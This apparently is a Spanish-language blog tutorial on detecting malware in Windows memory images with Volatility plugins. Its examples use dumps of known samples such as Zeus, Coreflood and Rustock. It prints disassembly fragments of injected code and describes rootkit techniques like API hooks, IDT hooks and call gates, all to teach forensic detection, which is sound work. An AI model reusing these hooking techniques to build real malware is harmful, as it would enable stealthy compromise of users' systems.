Bienvenidos a un nuevo post en ByteMind. En el caso de hoy vamos a explicar diferentes formas de identificar y cazar malware con volatility a partir de un dump previamente creado. Esta entrada será la continuación del anterior post Análisis forense con volatility donde explicamos qué es Volatility, cómo instalarlo, su funcionamiento, así como diferentes comandos con los que identificar una imagen, procesos, etc.
Aunque todos los comandos de Volatility pueden ayudar en la búsqueda y caza de malware de una forma u otra, hay algunos específicos para según que queremos buscar o que pueden hacer más fácil la búsqueda de determinados elementos como pueden ser por ejemplo rootkits o códigos maliciosos. Para más información se puede consultar la web oficial de volatility.
A continuación vamos a ver una serie de comandos que nos ayudarán en la búsqueda de malware.
Índice
malfind
El comando malfind ayuda en la búsqueda de códigos/DLLs ocultos o inyectados en la memoria del usuario, en función de caracterísitcas como la etiqueta VAD y los permisos de página.
Cabe destacar que malfind no detecta DLLs inyectadas en un proceso mediante CreateRemoteThread-> LoadLibrary. Las DLLs inyectadas con dicha técnica no están ocultas y, por lo tanto, pueden verse con el comand dlllist. El propósito de malfind es localizar archivos DLLs que los métodos o herramientas estándar no son capaces de obtener.
A continuación veremos un ejemplo de como utilizarlo para detectar en este caso la presencia de Zeus, para quien no lo sepa, Zeus es un malware troyano que se ejecuta en sistemas windows con la intención de obtener datos bancarios mediante el registro de teclas y de formularios del navegador.
A continuación el ejemplo y la posterior explicación:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
$ volatility -f zeus malfind -p 1724 Volatility Foundation Volatility Framework 2.6 Process: explorer.exe Pid: 1724 Address: 0x1600000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01600000 b8 35 00 00 00 e9 cd d7 30 7b b8 91 00 00 00 e9 .5......0{...... 0x01600010 4f df 30 7b 8b ff 55 8b ec e9 ef 17 c1 75 8b ff O.0{..U......u.. 0x01600020 55 8b ec e9 95 76 bc 75 8b ff 55 8b ec e9 be 53 U....v.u..U....S 0x01600030 bd 75 8b ff 55 8b ec e9 d6 18 c1 75 8b ff 55 8b .u..U......u..U. 0x1600000 b835000000 MOV EAX, 0x35 0x1600005 e9cdd7307b JMP 0x7c90d7d7 0x160000a b891000000 MOV EAX, 0x91 0x160000f e94fdf307b JMP 0x7c90df63 0x1600014 8bff MOV EDI, EDI 0x1600016 55 PUSH EBP Process: explorer.exe Pid: 1724 Address: 0x15d0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 38, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x015d0000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ.............. 0x015d0010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@....... 0x015d0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x015d0030 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 ................ 0x15d0000 4d DEC EBP 0x15d0001 5a POP EDX 0x15d0002 90 NOP 0x15d0003 0003 ADD [EBX], AL 0x15d0005 0000 ADD [EAX], AL 0x15d0007 000400 ADD [EAX+EAX], AL 0x15d000a 0000 ADD [EAX], AL |
En el ejemplo anterior podemos observar varias partes.
El primer segmento de memoria (que comienza en 0x01600000) se detecta porque es ejecutable, marcado como privado, es decir, que no está compartido entre procesos, y dispone de una etiqueta VadS, lo que significa que no hay ningún archivo de memoria mapeado que esté utilizando dicho espacio. Basándonos en el desensamblado de los datos encontrados parece contener algunos trozos de API hook trampoline.
El segundo segmento de memoria (0x015D0000) se detecta porque contiene un ejecutable que no figura en las listas de módulos del PEB.
Además de la propia salida del comando, si se quieren almacenar los segmentos de memoria identificados se puede proporcionar un directorio de salida, previamente creado, con la opción -D o –dump-dir. En este caso, una copia sin empaquetar del binario malicioso Zeus será almacenada en el directorio especificado.
yarascan
El comando yarascan puede ayudar en búsquedas complejas y específicas. Puede ayudar en la búsqueda, mediante expresiones regulares, de cualquier secuencia de bytes, cadenas ASCII o cadenas Unicode en modo de usuario o en la memoria del Kernel.
Puede crear un fichero de reglas YARA y especificarlo con la opción –yara-file o, si sólo está buscando algo simple, es posible especificar los criterios como –yara-rules=RULESTEXT.
Para buscar firmas definidas en el archivo rules.yar y mostrar los resultados en pantalla podemos utilizar el siguiente comando:
1 |
$ volatility -f zeus yarascan --yara-file=/path/to/rules.yar |
En el caso de querer buscar una cadena simple en cualquier proceso sería con:
1 |
$ volatility -f zeus yarascan --yara-rules="stringToFind" |
Y en caso de querer volcar los datos obtenidos a fichero utilizaríamos la opción -D folder o –dump-dir=folder
Es posible también realizar la búsqueda de un patrón de bytes dado para un proceso en particular:
1 |
$ volatility -f zeus yarascan --yara-rules="{eb 90 ff e4 88 32 0d}" --pid=1724 |
O mediante el uso de expresiones regulares:
1 |
$ volatility -f zeus yarascan --yara-rules="/my(regular|expression{0,1})/" --pid=1724 |
Para realizar una búsqueda en la memoria del kernel añadiríamos la opción -K al mismo como en el siguiente ejemplo:
1 |
$ volatility -f zeus yarascan --yara-rules="{eb 90 ff e4 88 32 0d}" -K |
svcscan
Para ver que servicios están registrados en la imagen de memoria proporcionada existe el comando svcscan. El resultado muestra el ID del proceso de cada servicio (si está activo y si pertenece a un proceso del usuario), el nombre original del servicio, el nombre para mostrar del servicio, el tipo y el estado actual del mismo. Muestra también la ruta binaria para el servicio registrado, que será un EXE para servicios de usuario y el nombre del controlador para aquellos servicios que se ejecutan desde el kernel.
Podemos ver un ejemplo a continuación:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$ volatility -f /root/test/win7_trial_64bit.raw --profile=Win7SP0x64 svcscan Volatility Foundation Volatility Framework 2.6 Offset: 0xa26e70 Order: 71 Process ID: 1104 Service Name: DPS Display Name: Diagnostic Policy Service Service Type: SERVICE_WIN32_SHARE_PROCESS Service State: SERVICE_RUNNING Binary Path: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork Offset: 0xa25620 Order: 70 Process ID: - Service Name: dot3svc Display Name: Wired AutoConfig Service Type: SERVICE_WIN32_SHARE_PROCESS Service State: SERVICE_STOPPED Binary Path: - Offset: 0xa25440 Order: 68 Process ID: - Service Name: Disk Display Name: Disk Driver Service Type: SERVICE_KERNEL_DRIVER Service State: SERVICE_RUNNING Binary Path: \Driver\Disk |
Desde la versión 2.3 de Volatility, existe la opción verbose que verifica la clave de registro de ServiceDLL e informa del DLL que aloja el servicio. Esta capacidad es crítica ya que el malware comúnmente se instala utilizando svchost.exe (proceso de windows de servicio de host compartido) e implementa el código malicioso real en una DLL.
Podemos ver un ejemplo a continuación:
1 2 3 4 5 6 7 8 9 10 11 |
$ volatility -f /root/test/win7_trial_64bit.raw --profile=Win7SP0x64 svcscan --verbose Volatility Foundation Volatility Framework 2.6 Offset: 0xa26e70 Order: 71 Process ID: 1104 Service Name: DPS Display Name: Diagnostic Policy Service Service Type: SERVICE_WIN32_SHARE_PROCESS Service State: SERVICE_RUNNING Binary Path: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork ServiceDll: %SystemRoot%\system32\dps.dll <----- este es el componente recuperado del disco |
ldrmodules
El comando ldrmodules es muy útil a la hora de buscar DLLs ocultas. Por ejemplo, la desvinculación de una DLL de las listas vinculadas en el PEB (Process Environment Block), sin embargo todavía existe información contenida dentro del VAD (Virtual Address Descriptor) que identifica la dirección base y la ruta completa en el disco. Dado el caso es posible hacer una búsqueda con las listas PEB y hacer una referencia cruzada (conocida como archivos mapeados en memoria) con este módulo.
Para cada archivo PE mapeado en memoria, el comando ldrmodules imprime Verdadero o Falso si el PE existe en las listas PEB.
A continuación podemos verlo con un ejemplo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ volatility -f /root/test/win7_trial_64bit.raw --profile=Win7SP0x64 ldrmodules Volatility Foundation Volatility Framework 2.6 Pid Process Base InLoad InInit InMem MappedPath -------- -------------------- ------------------ ------ ------ ----- ---------- 208 smss.exe 0x0000000047a90000 True False True \Windows\System32\smss.exe 296 csrss.exe 0x0000000049700000 True False True \Windows\System32\csrss.exe 344 csrss.exe 0x0000000000390000 False False False \Windows\Fonts\vgasys.fon 344 csrss.exe 0x00000000007a0000 False False False \Windows\Fonts\vgaoem.fon 344 csrss.exe 0x00000000020e0000 False False False \Windows\Fonts\ega40woa.fon 344 csrss.exe 0x0000000000a60000 False False False \Windows\Fonts\dosapp.fon 344 csrss.exe 0x0000000000a70000 False False False \Windows\Fonts\cga40woa.fon 344 csrss.exe 0x00000000020d0000 False False False \Windows\Fonts\cga80woa.fon 428 services.exe 0x0000000000020000 False False False \Windows\System32\en-US\services.exe.mui 428 services.exe 0x00000000ff670000 True False True \Windows\System32\services.exe 444 lsass.exe 0x0000000000180000 False False False \Windows\System32\en-US\crypt32.dll.mui 444 lsass.exe 0x0000000076b20000 True True True \Windows\System32\kernel32.dll 444 lsass.exe 0x0000000076c40000 True True True \Windows\System32\user32.dll 444 lsass.exe 0x0000000074a70000 True True True \Windows\System32\msprivs.dll 444 lsass.exe 0x0000000076d40000 True True True \Windows\System32\ntdll.dll 568 svchost.exe 0x00000000001e0000 False False False \Windows\System32\en-US\umpnpmgr.dll.mui |
Dado que estas listas existen también para el usuario, es posible que el malware oculta DLL simplemente modificando la ruta que muestran. En este caso la herramienta sólo buscaría entradas no vinculadas y pueden pasar por alto el hecho de que pudiese haber sido sobreescrita su ruta, por ejemplo C:\malware.dll y mostrar C:\\windows\system32\kernel32.dll. Para analizar más a fondo la imagen también puede pasar la opción -v o –verbose a ldrmodules para ver la ruta completa de estas entradas.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ volatility -f /root/test/win7_trial_64bit.raw --profile=Win7SP0x64 ldrmodules -v Volatility Foundation Volatility Framework 2.6 Pid Process Base InLoad InInit InMem MappedPath -------- -------------------- ------------------ ------ ------ ----- ---------- 208 smss.exe 0x0000000047a90000 True False True \Windows\System32\smss.exe Load Path: \SystemRoot\System32\smss.exe : smss.exe Mem Path: \SystemRoot\System32\smss.exe : smss.exe 296 csrss.exe 0x0000000049700000 True False True \Windows\System32\csrss.exe Load Path: C:\Windows\system32\csrss.exe : csrss.exe Mem Path: C:\Windows\system32\csrss.exe : csrss.exe 344 csrss.exe 0x0000000000390000 False False False \Windows\Fonts\vgasys.fon 344 csrss.exe 0x00000000007a0000 False False False \Windows\Fonts\vgaoem.fon 344 csrss.exe 0x00000000020e0000 False False False \Windows\Fonts\ega40woa.fon 344 csrss.exe 0x0000000000a60000 False False False \Windows\Fonts\dosapp.fon 344 csrss.exe 0x0000000000a70000 False False False \Windows\Fonts\cga40woa.fon 344 csrss.exe 0x00000000020d0000 False False False \Windows\Fonts\cga80woa.fon 428 services.exe 0x0000000000020000 False False False \Windows\System32\en-US\services.exe.mui 428 services.exe 0x00000000ff670000 True False True \Windows\System32\services.exe Load Path: C:\Windows\system32\services.exe : services.exe Mem Path: C:\Windows\system32\services.exe : services.exe 444 lsass.exe 0x0000000000180000 False False False \Windows\System32\en-US\crypt32.dll.mui 444 lsass.exe 0x0000000076b20000 True True True \Windows\System32\kernel32.dll Load Path: C:\Windows\system32\kernel32.dll : kernel32.dll Init Path: C:\Windows\system32\kernel32.dll : kernel32.dll Mem Path: C:\Windows\system32\kernel32.dll : kernel32.dll [snip] |
impscan
En el caso de necesitar invertir por completo el código que se encuentra en los volcados de memoria es necesario ver que funciones importa el código, en otras palabras, a que funciones llama de la API. Cuando se realiza un volcado de binarios con dlldump, moddump o procdump, es posible que la IAT (Import Address Table) no se reconstruya correctamente debido a la probabilidad de que una o más páginas del encabezado PE o IAT no residan en la memoria (paginado). Para esto esta el módulo impscan, el cual identifica las llamadas a la API sin analizar el IAT de un PE, y podría funcionar incluso si el malware borrase por completo el encabezado PE.
A continuación veremos un ejemplo con el malware Coreflood, que elimina su encabezado PE una vez que se carga en el proceso destino.
Podemos utilizar malfind para detectar la presencia de este malware según los criterios típicos. Observa en el siguiente ejemplo como la dirección base del PE no contiene el encabezado MZ habitual:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ volatility -f coreflood.vmem -p 2044 malfind Volatility Foundation Volatility Framework 2.6 Process: IEXPLORE.EXE Pid: 2044 Address: 0x7ff80000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 45, PrivateMemory: 1, Protection: 6 0x7ff80000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ff80010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ff80020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ff80030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ff80000 0000 ADD [EAX], AL 0x7ff80002 0000 ADD [EAX], AL 0x7ff80004 0000 ADD [EAX], AL 0x7ff80006 0000 ADD [EAX], AL |
Supongamos ahora que se quiere extraer la copia desempaquetada de Coreflood y ver las APIs importadas. Utilizamos impscan especificando la dirección base que se obtuvo con malfind. En este caso añadimos la dirección base en 0x7ff81000 para tener en cuenta la página que falta:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ volatility -f coreflood.vmem -p 2044 impscan -b 0x7ff81000 Volatility Foundation Volatility Framework 2.6 IAT Call Module Function ---------- ---------- -------------------- -------- 0x7ff9e000 0x77dd77b3 ADVAPI32.dll SetSecurityDescriptorDacl 0x7ff9e004 0x77dfd4c9 ADVAPI32.dll GetUserNameA 0x7ff9e008 0x77dd6bf0 ADVAPI32.dll RegCloseKey 0x7ff9e00c 0x77ddeaf4 ADVAPI32.dll RegCreateKeyExA 0x7ff9e010 0x77dfc123 ADVAPI32.dll RegDeleteKeyA 0x7ff9e014 0x77ddede5 ADVAPI32.dll RegDeleteValueA 0x7ff9e018 0x77ddd966 ADVAPI32.dll RegNotifyChangeKeyValue 0x7ff9e01c 0x77dd761b ADVAPI32.dll RegOpenKeyExA 0x7ff9e020 0x77dd7883 ADVAPI32.dll RegQueryValueExA 0x7ff9e024 0x77ddebe7 ADVAPI32.dll RegSetValueExA 0x7ff9e028 0x77dfc534 ADVAPI32.dll AdjustTokenPrivileges 0x7ff9e02c 0x77e34c3f ADVAPI32.dll InitiateSystemShutdownA 0x7ff9e030 0x77dfd11b ADVAPI32.dll LookupPrivilegeValueA 0x7ff9e034 0x77dd7753 ADVAPI32.dll OpenProcessToken 0x7ff9e038 0x77dfc8c1 ADVAPI32.dll RegEnumKeyExA [snip] |
Si no se especifica una dirección base con la opción -b o –base, acabará escaneando el módulo principal del proceso para las funciones importadas. También es posible especificar la dirección base de un controlador del kernel para escanear dicho controlados en busca de funciones importadas en el mismo.
En el caso del malware laqma carga un controlador del kernel llamado lanmandrv.sys. Es posible extraerlo con moddump, pero el IAT estará dañado. Utilizaremos impscan entonces para poder reconstruirlo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ volatity -f laqma.vmem impscan -b 0xfca29000 Volatility Foundation Volatility Framework 2.6 IAT Call Module Function ---------- ---------- -------------------- -------- 0xfca2a080 0x804ede90 ntoskrnl.exe IofCompleteRequest 0xfca2a084 0x804f058c ntoskrnl.exe IoDeleteDevice 0xfca2a088 0x80568140 ntoskrnl.exe IoDeleteSymbolicLink 0xfca2a08c 0x80567dcc ntoskrnl.exe IoCreateSymbolicLink 0xfca2a090 0x805a2130 ntoskrnl.exe MmGetSystemRoutineAddress 0xfca2a094 0x805699e0 ntoskrnl.exe IoCreateDevice 0xfca2a098 0x80544080 ntoskrnl.exe ExAllocatePoolWithTag 0xfca2a09c 0x80536dc3 ntoskrnl.exe wcscmp 0xfca2a0a0 0x804fdbc0 ntoskrnl.exe ZwOpenKey 0xfca2a0a4 0x80535010 ntoskrnl.exe _except_handler3 0xfca2a3ac 0x8056df44 ntoskrnl.exe NtQueryDirectoryFile 0xfca2a3b4 0x8060633e ntoskrnl.exe NtQuerySystemInformation 0xfca2a3bc 0x805bfb78 ntoskrnl.exe NtOpenProcess |
apihooks
El módulo apihooks es muy útil para buscar enlaces API para el usuario o el kernel. Esto encuentra IAT, EAT, hooks en línea y varios tipos especiales de hooks. Para los hooks en línea detecta CALL y JMP en ubicaciones tando directas como indirectas, y detecta secuencias de instrucciones PUSH/RET. También es posible detectar CALL o JMP en los registros posteriores a que un valor inmediato se traslade al registro.
Los tipos de hooks especiales que detecta incluyen el hook syscall en ntdll.dll y llamas a páginas de código desconocidas en la memoria del kernel.
A continuación vamos a ver un ejemplo de detección de hooks IAT instalados por el malware Coreflood. El módulo de hooks es desconocido porque no hay ningún DLL asociado con la memoria en la que existe el código del rootkit. Para extrar el código que contiene los hookes hay varias opciones:
- Comprobar con el módulo malfind si podemos encontrarlo y extraerlo
- Utilizar los comandos volshell dd/db para escanear hacia atrás y buscar un encabezado MZ. Posteriormente pasar esa dirección con el valor base a dlldump para extraerlo
- Utilizar vaddump para extraer todos los segmentos de código en fichero individuales y posteriormente buscar en el archivo los rangos sospechosos.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
$ volatility -f coreflood.vmem -p 2044 apihooks Volatility Foundation Volatility Framework 2.6 ************************************************************************ Hook mode: Usermode Hook type: Import Address Table (IAT) Process: 2044 (IEXPLORE.EXE) Victim module: iexplore.exe (0x400000 - 0x419000) Function: kernel32.dllGetProcAddress at 0x7ff82360 Hook address: 0x7ff82360 Hooking module: <unknown> Disassembly(0): 0x7ff82360 e8fbf5ffff CALL 0x7ff81960 0x7ff82365 84c0 TEST AL, AL 0x7ff82367 740b JZ 0x7ff82374 0x7ff82369 8b150054fa7f MOV EDX, [0x7ffa5400] 0x7ff8236f 8b4250 MOV EAX, [EDX+0x50] 0x7ff82372 ffe0 JMP EAX 0x7ff82374 8b4c2408 MOV ECX, [ESP+0x8] ************************************************************************ Hook mode: Usermode Hook type: Import Address Table (IAT) Process: 2044 (IEXPLORE.EXE) Victim module: iexplore.exe (0x400000 - 0x419000) Function: kernel32.dllLoadLibraryA at 0x7ff82a50 Hook address: 0x7ff82a50 Hooking module: <unknown> Disassembly(0): 0x7ff82a50 51 PUSH ECX 0x7ff82a51 e80aefffff CALL 0x7ff81960 0x7ff82a56 84c0 TEST AL, AL 0x7ff82a58 7414 JZ 0x7ff82a6e 0x7ff82a5a 8b442408 MOV EAX, [ESP+0x8] 0x7ff82a5e 8b0d0054fa7f MOV ECX, [0x7ffa5400] 0x7ff82a64 8b512c MOV EDX, [ECX+0x2c] 0x7ff82a67 50 PUSH EAX [snip] |
idt
Utilizaremos el comando idt para imprimir el IDT (Interrupt Descriptor Table) del sistema. Si existen varios procesadores se mostrará el IDT para cada CPU individual. El módulo mostrará el número de CPU, el selector GDT, la dirección actual, el módulo propietario y el nombre de la sección PE en la que reside la función IDT. Es posible añadir el parámetro -v o –verbose para mostrar más información acerca de la función IDT.
Algunos rootkits enganchan la entrada IDT para KiSystemService, pero la apuntan a una rutina dentro del módulo NT (donde debería apuntar KiSystemService). Sin embargo, en dicha dirección, hay un enlace al malware. A continuación se muestra un ejemplo de como identificar esto.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ volatility -f rustock.vmem idt Volatility Foundation Volatility Framework 2.6 CPU Index Selector Value Module Section ------ ------ -------- ---------- -------------------- ------------ 0 0 8 0x8053e1cc ntoskrnl.exe .text 0 1 8 0x8053e344 ntoskrnl.exe .text 0 2 88 0x00000000 ntoskrnl.exe 0 3 8 0x8053e714 ntoskrnl.exe .text 0 4 8 0x8053e894 ntoskrnl.exe .text 0 5 8 0x8053e9f0 ntoskrnl.exe .text 0 6 8 0x8053eb64 ntoskrnl.exe .text 0 7 8 0x8053f1cc ntoskrnl.exe .text 0 8 80 0x00000000 ntoskrnl.exe [snip] 0 2B 8 0x8053db10 ntoskrnl.exe .text 0 2C 8 0x8053dcb0 ntoskrnl.exe .text 0 2D 8 0x8053e5f0 ntoskrnl.exe .text 0 2E 8 0x806b01b8 ntoskrnl.exe .rsrc [snip] |
Si observamos la entrada 0x2E de KiSystemService está en la sección .rsrc en lugar de .text como el resto.
Podemos ver también más información utilizando la opción verbose:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ volatility -f rustock.vmem idt --verbose Volatility Foundation Volatility Framework 2.6 CPU Index Selector Value Module Section ------ ------ -------- ---------- -------------------- ------------ [snip] 0 2E 8 0x806b01b8 ntoskrnl.exe .rsrc 0x806b01b8 e95c2c0f31 JMP 0xb17a2e19 0x806b01bd e9832c0f31 JMP 0xb17a2e45 0x806b01c2 4e DEC ESI 0x806b01c3 44 INC ESP 0x806b01c4 4c DEC ESP 0x806b01c5 45 INC EBP 0x806b01c6 44 INC ESP 0x806b01c7 5f POP EDI |
gdt
Utilizaremos el comando gdt para imprimir el GDT (Global Descriptor Table) del sistema. Esto es muy útil para detectar ciertos rootkits que instalan una puerta de llamada para que los programas del usuario puedan llamar directamente al kernel utilizando una instrucción CALL FAR. Si el sistema consta de varias CPUs mostrará el GDT de cada procesador.
A continuación podemos ver un ejemplo en el que el selector 0x3e0 ha sido infectado y utilizado con el propósito de crear una puerta de 32 bits. La dirección de la puerta es 0x8003f000, que es donde continúa la ejecución:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ volatility -f alipop.vmem gdt Volatility Foundation Volatility Framework 2.6 CPU Sel Base Limit Type DPL Gr Pr ------ ---------- ---------- ---------- -------------- ------ ---- ---- 0 0x0 0x00ffdf0a 0xdbbb TSS16 Busy 2 By P 0 0x8 0x00000000 0xffffffff Code RE Ac 0 Pg P 0 0x10 0x00000000 0xffffffff Data RW Ac 0 Pg P 0 0x18 0x00000000 0xffffffff Code RE Ac 3 Pg P 0 0x20 0x00000000 0xffffffff Data RW Ac 3 Pg P 0 0x28 0x80042000 0x20ab TSS32 Busy 0 By P 0 0x30 0xffdff000 0x1fff Data RW Ac 0 Pg P 0 0x38 0x00000000 0xfff Data RW Ac 3 By P 0 0x40 0x00000400 0xffff Data RW 3 By P 0 0x48 0x00000000 0x0 <Reserved> 0 By Np [snip] 0 0x3d0 0x00008003 0xf3d8 <Reserved> 0 By Np 0 0x3d8 0x00008003 0xf3e0 <Reserved> 0 By Np 0 0x3e0 0x8003f000 0x0 CallGate32 3 - P 0 0x3e8 0x00000000 0xffffffff Code RE Ac 0 Pg P 0 0x3f0 0x00008003 0xf3f8 <Reserved> 0 By Np 0 0x3f8 0x00000000 0x0 <Reserved> 0 By Np |
Si se quiere investigar más a fondo la infección, se puede dividir en una volshell como se muestra a continuación que desmontará el código en la dirección de la puerta de llamada.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
$ volatility -f alipop.vmem volshell Volatility Foundation Volatility Framework 2.6 Current context: process System, pid=4, ppid=0 DTB=0x320000 Welcome to volshell Current memory image is: file:///Users/Michael/Desktop/alipop.vmem To get help, type 'hh()' >>> dis(0xffdf0adb, length=32) 0xffdf0adb c8000000 ENTER 0x0, 0x0 0xffdf0adf 31c0 XOR EAX, EAX 0xffdf0ae1 60 PUSHA 0xffdf0ae2 8b5508 MOV EDX, [EBP+0x8] 0xffdf0ae5 bb00704d80 MOV EBX, 0x804d7000 0xffdf0aea 8b4b3c MOV ECX, [EBX+0x3c] 0xffdf0aed 8b6c0b78 MOV EBP, [EBX+ECX+0x78] >>> db(0xffdf0adb + 75, length = 512) ffdf0b26 d9 03 1c 81 89 5c 24 1c 61 c9 c2 04 00 7e 00 80 ......$.a....~.. ffdf0b36 00 3b 0b df ff 5c 00 52 00 65 00 67 00 69 00 73 .;.....R.e.g.i.s ffdf0b46 00 74 00 72 00 79 00 5c 00 4d 00 61 00 63 00 68 .t.r.y...M.a.c.h ffdf0b56 00 69 00 6e 00 65 00 5c 00 53 00 4f 00 46 00 54 .i.n.e...S.O.F.T ffdf0b66 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 .W.A.R.E...M.i.c ffdf0b76 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 .r.o.s.o.f.t...W ffdf0b86 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 .i.n.d.o.w.s...C ffdf0b96 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 .u.r.r.e.n.t.V.e ffdf0ba6 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 .r.s.i.o.n...R.u ffdf0bb6 00 6e 00 00 00 06 00 08 00 c3 0b df ff 71 00 51 .n...........q.Q ffdf0bc6 00 00 00 43 00 3a 00 5c 00 57 00 49 00 4e 00 44 ...C.:...W.I.N.D ffdf0bd6 00 4f 00 57 00 53 00 5c 00 61 00 6c 00 69 00 2e .O.W.S...a.l.i.. ffdf0be6 00 65 00 78 00 65 00 00 00 26 00 28 00 f7 0b df .e.x.e...&.(.... ffdf0bf6 ff 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 ...S.y.s.t.e.m.R ffdf0c06 00 6f 00 6f 00 74 00 5c 00 61 00 6c 00 69 00 2e .o.o.t...a.l.i.. ffdf0c16 00 65 00 78 00 65 00 00 00 00 00 e8 03 00 ec 00 .e.x.e.......... ffdf0c26 00 ff ff 00 00 00 9a cf 00 4d 5a 90 00 03 00 00 .........MZ..... ffdf0c36 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 ................ ffdf0c46 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .@.............. ffdf0c56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ffdf0c66 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 ................ ffdf0c76 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 ...L.This prog ffdf0c86 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 ram cannot be ru ffdf0c96 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d n in DOS mode... |
threads
El comando threads brinda detalles acerca de los subprocesos, incluido el contenido de los registros de cada uno de ellos (si está disponible), un desmontaje del código en la dirección de inicio del mismo y varios campos que pueden ser relevantes en una investigación. Dado que cualquier sistema dispone de cientos de hilos, este comando asocia etiquetas descriptivas a cada hilo que encuentra, con los que posteriormente se podrá filtrar mediante el parámetro -F o –filter.
Puede verse una lista de las etiquetas/filtros disponibles con la opción -L como vemos en el siguiente ejemplo:
1 2 3 4 5 6 7 8 9 10 11 12 |
$ volatility -f test.vmem threads -L Volatility Foundation Volatility Framework 2.6 Tag Description -------------- -------------- DkomExit Detect inconsistencies wrt exit times and termination HwBreakpoints Detect threads with hardware breakpoints ScannerOnly Detect threads no longer in a linked list HideFromDebug Detect threads hidden from debuggers OrphanThread Detect orphan threads AttachedProcess Detect threads attached to another process HookedSSDT Detect threads using a hooked SSDT SystemThread Detect system threads |
Si no se especifica ningún filtro, el comando generará información de todos los hilos existentes. Pero puede especificar uno o varios filtros separados por comas.
A continuación se aprecia un ejemplo de búsqueda de subprocesos que se están ejecutando actualmente en el contexto de un proceso diferente del que posee el subproceso:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$ volatility -f XPSP3.vmem threads -F AttachedProcess Volatility Foundation Volatility Framework 2.6 ------ ETHREAD: 0x81eda7a0 Pid: 4 Tid: 484 Tags: SystemThread,AttachedProcess,HookedSSDT Created: 2011-04-18 16:03:38 Exited: - Owning Process: 0x823c8830 System Attached Process: 0x81e3c458 services.exe State: Running BasePriority: THREAD_PRIORITY_NORMAL TEB: 0x00000000 StartAddress: 0xb1805f1a windev-5e93-fd3.sys ServiceTable: 0x80553020 [0] 0x80501bbc [0x47] NtEnumerateKey 0xb1805944 windev-5e93-fd3.sys [0x49] NtEnumerateValueKey 0xb1805aca windev-5e93-fd3.sys [0x91] NtQueryDirectoryFile 0xb18055ee windev-5e93-fd3.sys [1] - [2] - [3] - Win32Thread: 0x00000000 CrossThreadFlags: PS_CROSS_THREAD_FLAGS_SYSTEM b1805f1a: 8bff MOV EDI, EDI b1805f1c: 55 PUSH EBP b1805f1d: 8bec MOV EBP, ESP b1805f1f: 51 PUSH ECX b1805f20: 51 PUSH ECX |
De primeras, se ve la dirección virtual del objeto ETHREAD junto con el ID del proceso y del hilo. Posteriormente se verán todas las etiquetas asociadas al hilo (SystemThread, AttachedProcess, HookedSSDT), los tiempos de creación/salida, estado, prioridad, etc. Se muestra la base SSDT junto con la dirección de cada tabla de servicio y cualquier función enganchada a las mismas. Finalmente se verá el desensamblado de la dirección de inicio del hilo.
callbacks
Volatility es una plataforma forense con la capacidad de imprimir una variedad de rutinas de notificación importantes y devoluciones de llamadas del núcleo. Es capaz de detectar por ejemplo, rootkits, conjuntos de antivirus, herramientas de análisis dinámico (como SysInternals Process Monitor o TcpView) y muchos componentes del uso del kernel de windows para monitorizar y/o reaccionar ante diferentes eventos.
Es capaz de detectar lo siguiente:
- PsSetCreateProcessNotifyRoutine (creación del proceso).
- PsSetCreateThreadNotifyRoutine (creación de subprocesos).
- PsSetImageLoadNotifyRoutine (DLL/carga de imagen).
- IoRegisterFsRegistrationChange (registro del sistema de archivos).
- KeRegisterBugCheck y KeRegisterBugCheckReasonCallback.
- CmRegisterCallback (devoluciones de llamada de registro en XP).
